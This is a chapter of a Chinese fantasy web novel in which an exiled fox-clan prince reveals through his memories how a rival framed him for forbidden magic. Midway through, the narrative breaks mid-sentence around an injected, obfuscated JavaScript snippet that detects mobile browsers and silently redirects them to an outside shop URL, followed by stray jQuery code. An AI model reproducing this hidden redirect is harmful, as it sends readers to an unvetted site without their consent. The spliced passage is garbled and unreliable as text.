“哥哥,到底什么是真相?”月影的声音在灰暗空间里落下来,“这么多年……我其实非常想念你。但面对长老会当年鉴定过的那一套证据,我真的很难。”
“而且那时我刚继位妖尊,许多事还不能完全自主。”月影的声音低了下去。
“你离开青丘后,我暗中派了好几批人去找你,都没有消息。传讯符发了无数道,每一道都落空。”她说到这里顿了一下,目光垂下去又抬起来,“我以为你不想让我找到你……”
空间里沉默了一会儿,灰暗的雾气缓缓向两侧退开,一道身影从深处走了出来。
他很高,身形清瘦得有些过分,衣袍是玄黑色的,袖口和领缘绣着银色的暗纹,在雾气的微光中隐约流转,那是青丘王族旧制的样式。
他的面容轮廓分明,两颊微微下陷,眼底沉淀着一层经年不散的倦意。头上顶着一对玄黑色的狐耳,耳尖微微垂着;身后一条玄色狐尾垂落至脚踝处,不像金凌和月影的狐尾那般蓬松灵动,毛色无光,像灵力已快耗尽了最后的余量。
即便如此,他身上那股清冷而从容的气度依然压得住这一身的枯瘦。
朱砂抬眼时目光在他脸上停了一下。她在以前的入念中见过他年轻的身影,挺拔、从容,衣袍边角被山风掀起的弧度都带着意气。如今站在她面前的这个人显然已经疲态尽显……但他周身的气度依然能让人感到,这若不是被逐出青丘的“罪人”,该是怎样的风流人物。
谢停云站在她侧后方,视线在玄清的面容上停留了片刻,没有开口,但握剑的手松了半寸。
月影已经认出了他,灵力轻轻颤了一下。她记忆中的玄清不是这个样子的……记忆里的哥哥比她高出许多,头发用玉冠束得利落,玄色狐耳竖得笔直,狐尾蓬松舒展,走到哪里都有人侧目。
她记得父亲还在时,曾拍着他的肩说“这小子以后比我强”,玄清笑着应了,转身时衣袍边缘扫过议事殿的门槛,风从外面灌进来,掀起他袖口的纹路,如芝兰玉树。如今站在她面前的人瘦得几乎撑不起那件玄黑衣袍,狐耳垂着,狐尾垂着,灵力只剩薄薄一层怨念,连余响都快要散尽了。
月影眼眶红了,正欲开口,只听那道久违的声音响起。
“……我的时间不多了。”他看向朱砂,“还是请你们自己抽取我的记忆来看吧。”
朱砂没有多问,念咒结印,朱红色的灵光像细丝般探入玄清残余的灵力之中,将散落在空间各处的记忆碎片逐一牵引出来,重新拼合成一幅完整的旧影。
画面从青丘议事殿外的一棵老树下展开。
玄清站在树下,掌心握着一枚青丘古令牌,衣袍边缘泛着年轻时候那层温润的灵光,身形挺拔。
前任妖尊陨落不久,妖尊之位悬而未决。妖尊当年镇压禁术反噬,灵力溃散时未能及时挽回,族中长老们和玄清至今仍记得那道禁术之伤的暗色灵力,连妖尊都无法化解的禁术,其凶险程度足以让任何知情者忌惮。
那枚青丘古令牌,是妖尊——玄清和月影的父亲生前留给玄清的,他走得突然,没来得及在长老会上正式指定继位人,只留下这枚代表传承法术的令牌。
但玄清没有立刻亮出令牌。妖尊继位事关重大,他在等一个更合适的时机。
那件事发生在一个傍晚。玄清从外族办事回来,他绕道青丘西侧一处荒废的旧猎场,打算抄近路回去。
经过一处隐蔽的旧洞附近时,他的脚步忽然慢了下来,空气中残余的灵力波动有一丝不对劲,像干柴深处渗出的暗火,藏得深却瞒不过灵力敏感的人。
他侧身隐入灌木阴影,看到涂山铭带着一只木匣进入洞口,片刻后出来时衣袍下摆沾着细碎的草屑和碎石,低头看掌心时,一道暗色灵力在他指间流转,带着不属于日常修炼的异样气息。
玄清在暗处站了很久,灵力探入那处旧洞……父亲之死的凶险,他从来没有忘记过,如今涂山铭掌心里流转的,居然就是同一种东西?连妖尊都无法化解的禁术,必将加害同族,只要被发现,也必被族中处以极刑。
他知道这件事的严重性,而且直接关系到月影的未来!所以他没有立刻声张。他确认了涂山铭离开时的方向后,才从另一条路回到住处。
玄清开始暗中收集涂山铭的踪迹,试图找到更多的东西来佐证。
有一天清晨,他跟着涂山铭的灵力痕迹一路追踪,来到了神殿东侧一处隐蔽的石窟前。
他在暗处蹲了很久,看着涂山铭带着那只在青丘西侧旧洞他见过的木匣进入石窟下面的暗室,过了一个时辰,他才出来,出来时周身都带上了那层暗色灵气,不过很快就隐去了。
确认他已经走远之后,玄清探了探那个暗室,发现外部的封印极强,他收回了手,准备找时间请月影来看看能否打开。
然而可能就是因为玄清扰动了这处封印,涂山铭很快察觉到了他的举动。
玄清还没有收集到足够的证据,长老会的传召令就到了!涂山铭居然抢先一步,将他早就准备好的伪证放出,向长老会告发玄清修炼禁术。
“赶紧走,还来得及!”
一位与玄清交好的长老,暗中递了消息给他:涂山铭已经向长老会提交了完整的证据链,他的灵力印记、旧物气息、行踪记录,全部与禁术一一对应。
虽然玄清一直行迹端正,但证据面前,一旦正式问话,恐怕短期内无人能替他翻案。
玄清看完那条传讯后在原地站了很久,他决定先离开青丘,等收集到更多证据再回来。离开当夜,他给月影发了一封传讯,约她在神殿外一座旧祠堂见面,想当面跟她说清整件事。
然而,玄清等来的,不是月影,是涂山铭。
涂山铭淡淡开口:“月影在北郊,赶不回来。你有什么话,跟我直说。长老会还等着你问罪呢。”
玄清站在他面前,灵力在掌心聚拢:“你为什么要修炼禁术?父亲当年就是被这东西害死的。你居然还反咬我一口!你知不知道你修炼这个,以后会害了月影的!”
涂山铭没有立刻回答。他站在石阶上,目光平视着玄清:“月影是我的夫人,我自然会护好她。即便没有你这个哥哥,她也会过得很好。”
玄清的灵力在掌心停了一瞬:“这东西你控制不了的!害人害己!”
涂山铭看着玄清,声音冷了下去:“既然你管不好自己,那我就只能清理了你。”灵力从掌心直接推出,直取玄清面门。
开始的交手玄清并未落于下风,但涂山铭在中段忽然动用禁术,灵力暴涨数倍,连
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17817237|211080||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
绵压制,招招扑向要害。
一道暗色灵力从涂山铭掌心斜切过来,玄清闪避不及,正中他右胸。他整个人被震得向后滑出数步,口中涌出鲜血,衣袍前襟瞬间洇开一片深色。
就在他几乎撑不住的时候,暗处忽然飞出一枚短兵,直扑涂山铭而去!
玄清定睛一看,才发现那不是常见的兵器——居然是一支不知材质的紫青色毛笔,所过之处,神光点点。
笔尖在触到涂山铭灵力边缘的瞬间猛地炸开一道灵力,以摧枯拉朽之势将涂山铭的暗色灵力逐层压下。
涂山铭整个人被那道灵力压得连退数步!竟一时毫无招架之力。
那支笔忽然在半空中顿住,笔尖一转,凌空画下一道淡金色的符咒。
符咒成形后化为一道薄光落下,覆在涂山铭周身,涂山铭暗色灵力像是被抽走根基的旧墙一样逐层剥落,几息之间消散殆尽。那支笔在符咒散尽后自行收回暗处,速度极快,像是不想被人发现。
涂山铭回过神来时,暗色灵力已经散尽了,他猛地攥紧掌心,灵力却再也无法聚拢!
他辛辛苦苦修炼多年的禁术之力,居然就这样被一支来历不明的笔彻底废了。
他猛然抬头,双目赤红,目光死死盯在玄清身上,声音嘶哑而疯戾:“玄清!你居然从哪里找来这么厉害的帮凶!”
他没有时间去寻找那毛笔的主人,立即调动体内最后一点残存的灵力,挥剑直扑玄清面门。
玄清重伤之下堪堪招架,刀锋在交错的间隙中落在涂山铭的左肩,本不致命,但涂山铭已走火入魔,这一刀落下去之后,他的灵力根基彻底断了,意识模糊,很快没了气息。
长老会赶到时涂山铭已经死了。身上只有玄清留下的那道刀伤,还有他自己残留的禁术痕迹……
就在月影等人被这一幕幕记忆的紧张气氛压得说不出话时,玄清的记忆旧影慢慢消散。
玄清的声音响起,语气带着淡淡的哀伤:“那支神秘的毛笔和那道符咒,我再也没有见过。我想过,若是父亲在世时,那支笔的主人也能及时出手,或许他就不会那么早走了……妖界无法根除的禁术,就这样被人轻易化了,那人该是什么样的存在。”
他停了一下,似平复了一下心绪:“可我那时候已经没有时间去追那支笔了。长老会连夜定了我的罪——禁术、害死族人、除名、通缉。天亮之前我就得离开青丘……”
朱砂没有说话,但她的视线还停在玄清旧影消散的方向,
让朱砂震撼的是:那支挽救玄清的毛笔,她太熟悉了!
笔身的颜色、材质、笔尖落下的灵力走向,和她记忆里师傅陆沉常用的一支旧笔完全一致。
印象中,那支笔的笔杆一侧,刻有两个遒劲的小字——引魂。
她见过那支笔无数次,见过师傅握在手里登记卷宗、批注旧档,笔尖落下去时永远是平稳而克制的,灵力沿着笔杆流向纸面,不会多出一丝一毫。
她从来没有想过,那支笔还能像刚才那样飞出去,灵力从笔身炸开,符咒凌空成形,一出手就化解了连妖尊都束手无策的禁术!
师傅,他在那个时间节点来过青丘,出手、离开,像一阵风穿过了青丘的夜色,这件事,从来也没有向她提起过……